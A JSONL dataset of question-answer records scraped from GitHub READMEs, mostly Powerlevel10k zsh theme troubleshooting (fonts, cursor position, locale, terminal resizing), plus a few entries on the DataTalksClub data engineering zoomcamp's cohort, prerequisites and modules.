{"id": "gh_4432f416fcce", "question": "How to: Sub-pixel imperfections around powerline symbols", "question_body": "About romkatv/powerlevel10k", "answer": "![Powerline Prompt Imperfections](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/powerline-imperfections.png)\n\nThere are three imperfections on the screenshot. From left to right:\n\n1. A thin blue line (a sub-pixel gap) between the content of a prompt segment and the following\npowerline connection.\n1. Incorrect alignment of a powerline connection and the following prompt segment. The connection\nappears shifted to the right.\n1. A thin red line below a powerline connection. The connection appears shifted up.\n\nZsh themes don't have down-to-pixel control over the terminal content. Everything you see on the\nscreen is made of monospace characters. A white powerline prompt segment is made of text on white\nbackground followed by U+E0B0 (a right-pointing triangle).\n\n![Powerline Prompt Imperfections](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/powerline-anatomy.png)\n\nIf Powerlevel10k prompt has imperfections around powerline symbols, you'll see exactly the same\nimperfections with all powerline themes (Agnoster, Powerlevel9k, Powerline, etc.)\n\nThere are several things you can try to deal with these imperfections:\n\n- Try [the recommended font](#meslo-nerd-font-patched-for-powerlevel10k). If you are already using\n  it, switching to another font may help but is unlikely.\n- Change terminal font size one point up or down. For example, in iTerm2 powerline prompt looks\n  perfect at font sizes 11 and 13 but breaks down at 12.\n- Enable builtin powerline glyphs in terminal settings if your terminal supports it (iTerm2 does).\n- Change font hinting and/or anti-aliasing mode in the terminal settings.\n- Shift all text one pixel up/down/left/right if your terminal has an option to do so.\n- Try a different terminal.\n\nA more radical solution is to switch to prompt style without background. Type `p10k configure` and\nselect *Lean*. This style has a modern lightweight look. As a bonus, it doesn't suffer from\nrendering imperfections that afflict powerline-style prompt.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061010"}
{"id": "gh_3028e4258f9e", "question": "How to: Error: character not in range", "question_body": "About romkatv/powerlevel10k", "answer": "Type `echo '\\u276F'`. If you get an error saying \"zsh: character not in range\", your locale\ndoesn't support UTF-8. You need to fix it. If you are running Zsh over SSH, see\n[this](https://github.com/romkatv/powerlevel10k/issues/153#issuecomment-518347833). If you are\nrunning Zsh locally, Google \"set UTF-8 locale in *your OS*\".", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061015"}
{"id": "gh_f553ff23fd29", "question": "How to: Cursor is in the wrong place", "question_body": "About romkatv/powerlevel10k", "answer": "Type `echo '\\u276F'`. If you get an error saying \"zsh: character not in range\", see the\n[previous section](#zsh-character-not-in-range).\n\nIf the `echo` command prints `❯` but the cursor is still in the wrong place, install\n[the recommended font](#meslo-nerd-font-patched-for-powerlevel10k) and run\n`p10k configure`.\n\nIf this doesn't help, add `unset ZLE_RPROMPT_INDENT` at the bottom of `~/.zshrc`.\n\nStill having issues? Run the following command to diagnose the problem:\n\n```zsh\n() {\n  emulate -L zsh\n  setopt err_return no_unset\n  local text\n  print -rl -- 'Select a part of your prompt from the terminal window and paste it below.' ''\n  read -r '?Prompt: ' text\n  local -i len=${(m)#text}\n  local frame=\"+-${(pl.$len..-.):-}-+\"\n  print -lr -- $frame \"| $text |\" $frame\n}\n```\n\n#### If the prompt line aligns with the frame\n\n```text\n+------------------------------+\n| romka@adam ✓ ~/powerlevel10k |\n+------------------------------+\n```\n\nIf the output of the command is aligned for every part of your prompt (left and right), this\nindicates a bug in the theme or your config. Use this command to diagnose it:\n\n```zsh\nprint -rl -- ${(eq+)PROMPT} ${(eq+)RPROMPT}\n```\n\nLook for `%{...%}` and backslash escapes in the output. If there are any, they are the likely\nculprits. Open an issue if you get stuck.\n\n#### If the prompt line is longer than the frame\n\n```text\n+-----------------------------+\n| romka@adam ✓ ~/powerlevel10k |\n+-----------------------------+\n```\n\nThis is usually caused by a terminal bug or misconfiguration that makes it print ambiguous-width\ncharacters as double-width instead of single width. For example,\n[this issue](https://github.com/romkatv/powerlevel10k/issues/165).\n\n#### If the prompt line is shorter than the frame and is mangled\n\n```text\n+------------------------------+\n| romka@adam ✓~/powerlevel10k |\n+------------------------------+\n```\n\nNote that this prompt is different from the original as it's missing a space after the check mark.\n\nThis can be caused by a low-level bug in macOS. See\n[this issue](https://github.com/romkatv/powerlevel10k/issues/241).\n\nThis can also happen if prompt contains glyphs designated as \"wide\" in the Unicode standard and your\nterminal incorrectly displays them as non-wide. Terminals suffering from this limitation include\nKonsole, Hyper and the integrated VSCode Terminal. The solution is to use a different terminal or\nremove all wide glyphs from prompt.\n\n#### If the prompt line is shorter than the frame and is not mangled\n\n```text\n+--------------------------------+\n| romka@adam ✓ ~/powerlevel10k |\n+--------------------------------+\n```\n\nThis can be caused by misconfigured locale. See\n[this issue](https://github.com/romkatv/powerlevel10k/issues/251).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061029"}
{"id": "gh_f2f01a1de739", "question": "How to: Prompt wrapping around in a weird way", "question_body": "About romkatv/powerlevel10k", "answer": "See [cursor is in the wrong place](#cursor-is-in-the-wrong-place).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061034"}
{"id": "gh_f6daa8ab23e7", "question": "How to: Right prompt is in the wrong place", "question_body": "About romkatv/powerlevel10k", "answer": "See [cursor is in the wrong place](#cursor-is-in-the-wrong-place).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061038"}
{"id": "gh_b3b23d1188fb", "question": "How to: Configuration wizard runs automatically every time Zsh is started", "question_body": "About romkatv/powerlevel10k", "answer": "When Powerlevel10k starts, it automatically runs `p10k configure` if no `POWERLEVEL9K_*`\nparameters are defined. Based on your prompt style choices, the configuration wizard creates\n`~/.p10k.zsh` with a bunch of `POWERLEVEL9K_*` parameters in it and adds a line to `~/.zshrc` to\nsource this file. The next time you start Zsh, the configuration wizard shouldn't run automatically.\nIf it does, this means the evaluation of `~/.zshrc` terminates prematurely before it reaches the\nline that sources `~/.p10k.zsh`. This most often happens due to syntax errors in `~/.zshrc`. These\nerrors get hidden by the configuration wizard screen, so you don't notice them. When you exit\nconfiguration wizard, look for error messages. You can also use\n`POWERLEVEL9K_DISABLE_CONFIGURATION_WIZARD=true zsh` to start Zsh without automatically running the\nconfiguration wizard. Once you can see the errors, fix `~/.zshrc` to get rid of them.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061044"}
{"id": "gh_de7a79b8dd12", "question": "How to: Some prompt styles are missing from the configuration wizard", "question_body": "About romkatv/powerlevel10k", "answer": "If Zsh version is below 5.7.1 or `COLORTERM` environment variable is neither `24bit` nor\n`truecolor`, configuration wizard won't offer Pure style with Snazzy color scheme. *Fix*: Install\nZsh >= 5.7.1 and use a terminal with truecolor support. Verify with `print -P '%F{#ff0000}red%f'`.\n\nIf the terminal can display fewer than 256 colors, configuration wizard preselects Lean style with\n8 colors. All other styles require at least 256 colors. *Fix*: Use a terminal with 256 color support\nand make sure that `TERM` environment variable is set correctly. Verify with\n`print $terminfo[colors]`.\n\nIf there is no UTF-8 locale on the system, configuration wizard won't offer prompt styles that use\nUnicode characters. *Fix*: Install a UTF-8 locale. Verify with `locale -a`.\n\nAnother case in which configuration wizard may not offer Unicode prompt styles is when the\n`MULTIBYTE` shell option is disabled. *Fix*: Enable the `MULTIBYTE` option, or rather don't disable\nit (this option is enabled in Zsh by default). Verify with `print -r -- ${options[MULTIBYTE]}`.\n\nWhen `MULTIBYTE` is enabled and a UTF-8 locale is available, the first few questions asked by the\nconfiguration wizard assess capabilities of the terminal font. If your answers indicate that some\nglyphs don't render correctly, configuration wizard won't offer prompt styles that use them. *Fix*:\nRestart your terminal and install\n[the recommended font](#meslo-nerd-font-patched-for-powerlevel10k). Verify by running\n`p10k configure` and checking that all glyphs render correctly.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061052"}
{"id": "gh_6ad317c3ff4b", "question": "How to: Cannot install the recommended font", "question_body": "About romkatv/powerlevel10k", "answer": "Once you download [the recommended font](#meslo-nerd-font-patched-for-powerlevel10k),\nyou can install it just like any other font. Google \"how to install fonts on *your OS*\".", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061056"}
{"id": "gh_e2aba06dae9f", "question": "How to: Extra or missing spaces in prompt compared to Powerlevel9k", "question_body": "About romkatv/powerlevel10k", "answer": "tl;dr: Add `ZLE_RPROMPT_INDENT=0` and `POWERLEVEL9K_LEGACY_ICON_SPACING=true` to `~/.zshrc` to get\nthe same prompt spacing as in Powerlevel9k.\n\nWhen using Powerlevel10k with a Powerlevel9k config, you might get additional spaces in prompt here\nand there. These come in two flavors.\n\n#### Extra space without background on the right side of right prompt\n\ntl;dr: Add `ZLE_RPROMPT_INDENT=0` to `~/.zshrc` to get rid of that space.\n\nFrom [Zsh documentation](\n  http://zsh.sourceforge.net/Doc/Release/Parameters.html#index-ZLE_005fRPROMPT_005fINDENT):\n\n> `ZLE_RPROMPT_INDENT\n`\n>\n> If set, used to give the indentation between the right hand side of the right prompt in the line\n> editor as given by `RPS1` or `RPROMPT` and the right hand side of the screen. If not set, the\n> value `1` is used.\n>\n> Typically this will be used to set the value to `0` so that the prompt appears flush with the\n> right hand side of the screen.\n\nPowerlevel10k respects this parameter. If you set `ZLE_RPROMPT_INDENT=1` (or leave it unset, which\nis the same thing as setting it to `1`), you'll get an empty space to the right of right prompt. If\nyou set `ZLE_RPROMPT_INDENT=0`, your prompt will go to the edge of the terminal. This is how it\nworks in every theme except Powerlevel9k.\n\n![ZLE_RPROMPT_INDENT: Powerlevel10k vs Powerlevel9k](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/p9k-vs-p10k-zle-rprompt-indent.png)\n\nPowerlevel9k issue: [powerlevel9k#1292](https://github.com/Powerlevel9k/powerlevel9k/issues/1292).\nIt's been fixed in the development branch of Powerlevel9k but the fix hasn't yet made it to\n`master`.\n\nAdd `ZLE_RPROMPT_INDENT=0` to `~/.zshrc` to get the same spacing on the right edge of prompt as in\nPowerlevel9k.\n\n*Note:* Several versions of Zsh have bugs that get triggered when you set `ZLE_RPROMPT_INDENT=0`.\nPowerlevel10k can work around these bugs when using powerline prompt style. If you notice visual\nartifacts in prompt, or wrong cursor position, try removing `ZLE_RPROMPT_INDENT` from `~/.zshrc`.\n\n#### Extra or missing spaces around icons\n\ntl;dr: Add `POWERLEVEL9K_LEGACY_ICON_SPACING=true` to `~/.zshrc` to get the same spacing around\nicons as in Powerlevel9k.\n\nSpacing around icons in Powerlevel9k is inconsistent.\n\n![ZLE_RPROMPT_INDENT: Powerlevel10k vs Powerlevel9k](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/p9k-vs-p10k-icon-spacing.png)\n\nThis inconsistency is a constant source of annoyance, so it was fixed in Powerlevel10k. You can add\n`POWERLEVEL9K_LEGACY_ICON_SPACING=true` to `~/.zshrc` to get the same spacing around icons as in\nPowerlevel9k.\n\n*Note:* It's not a good idea to define `POWERLEVEL9K_LEGACY_ICON_SPACING` when using\n`p10k configure`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061067"}
{"id": "gh_1747db0655ee", "question": "How to: Weird things happen after typing `source ~/.zshrc`", "question_body": "About romkatv/powerlevel10k", "answer": "It's almost always a bad idea to run `source ~/.zshrc`, whether you are using Powerlevel10k or not.\nThis command may result in random errors, misbehaving code and progressive slowdown of Zsh.\n\nIf you've made changes to `~/.zshrc` or to files sourced by it, restart Zsh to apply them. The most\nreliable way to do this is to type `exit` and then start a new Zsh session. You can also use\n`exec zsh`. While not exactly equivalent to complete Zsh restart, this command is much more reliable\nthan `source ~/.zshrc`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061072"}
{"id": "gh_f19fca80e8c5", "question": "How to: Transient prompt stops working after some time", "question_body": "About romkatv/powerlevel10k", "answer": "See [weird things happen after typing `source ~/.zshrc`](\n  #weird-things-happen-after-typing-source-zshrc).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061077"}
{"id": "gh_62ae055b2903", "question": "How to: Cannot make Powerlevel10k work with my plugin manager", "question_body": "About romkatv/powerlevel10k", "answer": "If the [installation instructions](#installation) didn't work for you, try disabling your current\ntheme (so that you end up with no theme) and then installing Powerlevel10k manually.\n\n1. Disable the current theme in your framework / plugin manager.\n\n- **oh-my-zsh:** Open `~/.zshrc` and remove the line that sets `ZSH_THEME`. It might look like this:\n  `ZSH_THEME=\"powerlevel9k/powerlevel9k\"`.\n- **zplug:** Open `~/.zshrc` and remove the `zplug` command that refers to your current theme. For\n  example, if you are currently using Powerlevel9k, look for\n  `zplug bhilburn/powerlevel9k, use:powerlevel9k.zsh-theme`.\n- **prezto:** Open `~/.zpreztorc` and put `zstyle :prezto:module:prompt theme off` in it. Remove\n  any other command that sets `theme` such as `zstyle :prezto:module:prompt theme powerlevel9k`.\n- **antigen:** Open `~/.zshrc` and remove the line that sets `antigen theme`. It might look like\n  this: `antigen theme powerlevel9k/powerlevel9k`.\n\n2. Install Powerlevel10k manually.\n\n```zsh\ngit clone --depth=1 https://github.com/romkatv/powerlevel10k.git ~/powerlevel10k\necho 'source ~/powerlevel10k/powerlevel10k.zsh-theme' >>~/.zshrc\n```\n\nThis method of installation won't make anything slower or otherwise sub-par.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061083"}
{"id": "gh_582148937593", "question": "How to: Directory is difficult to see in prompt when using Rainbow style", "question_body": "About romkatv/powerlevel10k", "answer": "In Rainbow style the current working directory is shown with bright white text on blue background.\nThe white is fixed and always looks the same but the appearance of \"blue\" is defined by your\nterminal color palette. If it's very light, it may be difficult to see white text on it.\n\nThere are several ways to fix this.\n\n- Type `p10k configure` and choose a more readable prompt style.\n- [Change terminal color palette](#change-the-color-palette-used-by-your-terminal). Try Tango Dark\n  or Solarized Dark, or change just the \"blue\" color.\n- [Change directory background and/or foreground color](#set-colors-through-Powerlevel10k-configuration-parameters).\n  The parameters you are looking for are called `POWERLEVEL9K_DIR_BACKGROUND`,\n  `POWERLEVEL9K_DIR_FOREGROUND`, `POWERLEVEL9K_DIR_SHORTENED_FOREGROUND`,\n  `POWERLEVEL9K_DIR_ANCHOR_FOREGROUND` and `POWERLEVEL9K_DIR_ANCHOR_BOLD`. You can find them in\n  `~/.p10k.zsh`.\n\n*Related*: [Incorrect foreground color in VSCode Terminal.](#incorrect-foreground-color-in-vscode-terminal)", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061089"}
{"id": "gh_c7b08814a233", "question": "How to: Incorrect foreground color in VSCode Terminal", "question_body": "About romkatv/powerlevel10k", "answer": "By default, VSCode Terminal may arbitrarily replace the foreground color of your choice with a\ndifferent color. This behavior can be\n[turned off](https://code.visualstudio.com/docs/terminal/appearance#_minimum-contrast-ratio) in\nVSCode settings.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061094"}
{"id": "gh_74783a49c857", "question": "How to: Horrific mess when resizing terminal window", "question_body": "About romkatv/powerlevel10k", "answer": "When you resize a terminal window horizontally back and forth a few times, you might see this ugly\npicture.\n\n![Powerlevel10k Resizing Mess](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resizing-mess.png)\n\ntl;dr: This issue arises when a terminal reflows Zsh prompt upon resizing. It isn't specific to\nPowerlevel10k. See [mitigation](#mitigation).\n\n*Note: This section [used to say](\n  https://github.com/romkatv/powerlevel10k/blob/dce00cdb5daaa8a519df234a7012ba3257b644d4/README.md#horrific-mess-when-resizing-terminal-window)\nthat the problem is caused by a bug in Zsh. While it's true that it's possible to avoid the problem\nin many circumstances by modifying Zsh, it cannot be completely resolved this way. Thus it's unfair\nto pin the blame on Zsh.*\n\n#### The anatomy of the problem\n\nThe issue is manifested when the vertical distance between the start of the current prompt and the\ncursor (henceforth `VD`) changes when the terminal window is resized.\n\nWhen a terminal window gets shrunk horizontally, there are two ways for a terminal to handle long\nlines that no longer fit: *reflow* or *truncate*.\n\nTerminal content before shrinking:\n\n![Terminal Content Before Shrinking](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-original.png)\n\nTerminal reflows text when shrinking:\n\n![Terminal Reflows Text When Shrinking](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-reflow.png)\n\nTerminal truncates text when shrinking:\n\n![Terminal Truncates Text When Shrinking](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-truncate.png)\n\nReflowing strategy can change the height of terminal content. If such content happens to be between\nthe start of the current prompt and the cursor, Zsh will print prompt on the wrong line. Truncation\nstrategy never changes the height of terminal content, so it doesn't trigger this issue.\n\nLet's see how the issue plays out in slow motion. We'll start by launching `zsh -f` and pasting\nthe following code:\n\n```zsh\nfunction pause() { read -s }\nfunctions -M pause 0\n\nreset\nprint -l {1..3}\nsetopt prompt_subst\nPROMPT=$'${$((pause()))+}left>${(pl.$((COLUMNS-12))..-.)}\n'\n```\n\nWhen `PROMPT` gets expanded, it calls `pause` to let us observe the state of the terminal. Here's\nthe initial state:\n\n![Terminal Resizing Bug 1](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-bug-1.png)\n\nZsh keeps track of the cursor position relative to the start of the current prompt. In this case it\nknows that the cursor is one line below. When we shrink the terminal window, it looks like this:\n\n![Terminal Resizing Bug 2](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-bug-2.png)\n\nAt this point the terminal sends `SIGWINCH` to Zsh to notify it about changes in the terminal\ndimensions. Note that this signal is sent *after* the content of the terminal has been reflown.\n\nWhen Zsh receives `SIGWINCH`, it attempts to erase the current prompt and print it anew. It goes to\nthe position where it *thinks* the current prompt is -- one line above the cursor (!) -- erases all\nterminal content that follows and prints reexpanded prompt there. However, after resizing prompt is\nno longer one line above the cursor. It's two lines above! Zsh ends up printing new prompt one line\ntoo low.\n\n![Terminal Resizing Bug 3](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-bug-3.png)\n\nIn this case we ended up with unwanted junk content because `VD` has *increased*. When you make\nterminal window wider, `VD` can also *decrease*, which would result in the new prompt being printed\nhigher than intended, potentially erasing useful content in the process.\n\nHere are a few more examples where shrinking terminal window increased `VD`.\n\n- Simple one-line left prompt with right prompt. No `prompt_subst`. Note that the cursor is below\n  the prompt line (hit *ESC-ENTER* to get it there).\n  ![Zsh Prompt That Breaks on Terminal Shrinking 1](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-breakable-1.png)\n- Simple one-line left prompt. No `prompt_subst`, no right prompt. Here `VD` is bound to increase\n  upon terminal shrinking due to the command line wrapping around.\n  ![Zsh Prompt That Breaks on Terminal Shrinking 2](\n    https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/resize-breakable-2.png)\n\n#### Zsh patch\n\n[This Zsh patch](https://github.com/romkatv/zsh/tree/fix-winchanged) fixes the issue on some\nterminals. The idea behind the patch is to use `sc` (save cursor) terminal capability before\nprinting prompt and `rc` (restore cursor) to move cursor back to the original position when prompt\nneeds to be refreshed.\n\nThe patch works only on terminals that reflow saved cursor position together with text when the\nterminal window is resized. The patch has no observable effect on terminals that don't reflow text\non resize (both", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061110"}
{"id": "gh_c2c0eb08c160", "question": "How to: Icons cut off in Konsole", "question_body": "About romkatv/powerlevel10k", "answer": "When using Konsole with a non-monospace font, icons may be cut off on the right side. Here\n\"non-monospace\" refers to any font with glyphs wider than a single column, or wider than two columns\nfor glyphs designated as \"wide\" in the Unicode standard.\n\n![Icons cut off in Konsole](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/konsole-non-monospace-font.png)\n\nThe last line on the screenshot shows a cut off Arch Linux logo.\n\nThere are several mitigation options for this issue.\n\n1. Use a different terminal. Konsole is the only terminal that exhibits this behavior.\n2. Use a monospace font.\n3. Manually add an extra space after the icon that gets cut off. For example, if the content of\n   `os_icon` prompt segment gets cut off, open `~/.p10k.zsh`, search for\n   `POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION` and change it as follows:\n```zsh\ntypeset -g POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION='${P9K_CONTENT} '  # extra space at the end\n```\n4. Use a different icon that is monospace. For example, if Arch Linux logo gets cut off, add\n   the following parameter to `~/.p10k.zsh`:\n```zsh\ntypeset -g POWERLEVEL9K_LINUX_ARCH_ICON='Arch'  # plain \"Arch\" in place of a logo\n```\n5. Disable the display of the icon that gets cut off. For example, if the content of\n   `os_icon` prompt segment gets cut off, open `~/.p10k.zsh` and remove `os_icon` from\n   `POWERLEVEL9K_LEFT_PROMPT_ELEMENTS` and `POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS`.\n\n*Note*: [Non-monospace fonts are not officially supported by Konsole](\n  https://bugs.kde.org/show_bug.cgi?id=418553#c5).", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061118"}
{"id": "gh_a99283b74885", "question": "How to: Arch Linux logo has a dot in the bottom right corner", "question_body": "About romkatv/powerlevel10k", "answer": "![Arch Linux Logo with a dot](\n  https://raw.githubusercontent.com/romkatv/powerlevel10k-media/master/arch-linux-logo-dot.png)\n\nSome fonts have this incorrect dotted icon in bold typeface. There are two ways to fix this issue.\n\n1. Use a font with a correct Arch Linux logo in bold typeface. For example,\n  [the recommended Powerlevel10k font](#meslo-nerd-font-patched-for-powerlevel10k).\n2. Display the icon in regular (non-bold) typeface. To do this, open `~/.p10k.zsh`, search for\n   `POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION` and remove `%B` from its value.\n```zsh\ntypeset -g POWERLEVEL9K_OS_ICON_CONTENT_EXPANSION='${P9K_CONTENT}'  # not bold\n```", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52411, "answer_score": 10, "has_code": true, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061124"}
{"id": "gh_619fa0db3cce", "question": "How to: Incorrect git status in prompt", "question_body": "About romkatv/powerlevel10k", "answer": "Powerlevel10k uses [gitstatusd](https://github.com/romkatv/gitstatus) to inspect the state of git\nrepositories. The project relies on the [libgit2](https://github.com/libgit2/libgit2) library, which\nhas some gaps in its implementation. Under some conditions, this may result in discrepancies between\nthe real state of a git repository (reflected by `git status`) and what gets shown in the\nPowerlevel10k prompt.\n\nMost notably, [libgit2 does not support `skipHash`](https://github.com/libgit2/libgit2/issues/6531).\nIf you see incorrect git status in prompt, run `git config -l` and check whether `skipHash` is\nenabled. If it is, consider disabling it. Keep in mind that `skipHash` may be implicitly enabled\nwhen activating certain git features, such as `manyFiles`.", "tags": ["romkatv"], "source": "github_gists", "category": "romkatv", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52411, "answer_score": 10, "has_code": false, "url": "https://github.com/romkatv/powerlevel10k", "collected_at": "2026-01-17T08:16:48.061129"}
{"id": "gh_e24074f8ce69", "question": "How to: 2026 Cohort", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "- **Start Date**: 12 January 2026\n- **Register Here**: [Sign up](https://airtable.com/shr6oVXeQvSI5HuWD)", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484899"}
{"id": "gh_76b6091c0fc5", "question": "How to: Self-Paced Learning", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "All course materials are freely available for independent study. Follow these steps:\n1. Watch the course videos.\n2. Join the [Slack community](https://datatalks.club/slack.html).\n3. Refer to the [FAQ document](https://datatalks.club/faq/data-engineering-zoomcamp.html) for guidance.", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484911"}
{"id": "gh_2d86de10e0d5", "question": "How to: Syllabus Overview", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "The course consists of structured modules, hands-on workshops, and a final project to reinforce your learning.", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484916"}
{"id": "gh_7413f053c17c", "question": "How to: **Prerequisites**", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "To get the most out of this course, you should have:\n- Basic coding experience\n- Familiarity with SQL\n- Experience with Python (helpful but not required)\n\nNo prior data engineering experience is necessary.", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484921"}
{"id": "gh_6f0276974932", "question": "How to: **Modules**", "question_body": "About DataTalksClub/data-engineering-zoomcamp", "answer": "#### [Module 1: Containerization and Infrastructure as Code](01-docker-terraform/)\n- Introduction to GCP\n- Docker and Docker Compose\n- Running PostgreSQL with Docker\n- Infrastructure setup with Terraform\n- Homework\n\n#### [Module 2: Workflow Orchestration](02-workflow-orchestration/)\n- Data Lakes and Workflow Orchestration\n- Workflow orchestration with Kestra\n- Homework\n\n#### [Workshop 1: Data Ingestion](cohorts/2025/workshops/dlt/README.md)\n- API reading and pipeline scalability\n- Data normalization and incremental loading\n- Homework\n\n#### [Module 3: Data Warehousing](03-data-warehouse/)\n- Introduction to BigQuery\n- Partitioning, clustering, and best practices\n- Machine learning in BigQuery\n\n#### [Module 4: Analytics Engineering](04-analytics-engineering/)\n- dbt (data build tool) with DuckDB & BigQuery\n- Testing, documentation, and deployment\n- Data visualization with Streamlit & Looker Studio\n\n#### [Module 5: Batch Processing](05-batch/)\n- Introduction to Apache Spark\n- DataFrames and SQL\n- Internals of GroupBy and Joins\n\n#### [Module 6: Streaming](06-streaming/)\n- Introduction to Kafka\n- Kafka Streams and KSQL\n- Schema management with Avro\n\n#### [Final Project](projects/)\n- Apply all concepts learned in a real-world scenario\n- Peer review and feedback process", "tags": ["DataTalksClub"], "source": "github_gists", "category": "DataTalksClub", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36371, "answer_score": 10, "has_code": false, "url": "https://github.com/DataTalksClub/data-engineering-zoomcamp", "collected_at": "2026-01-17T08:17:04.484930"}
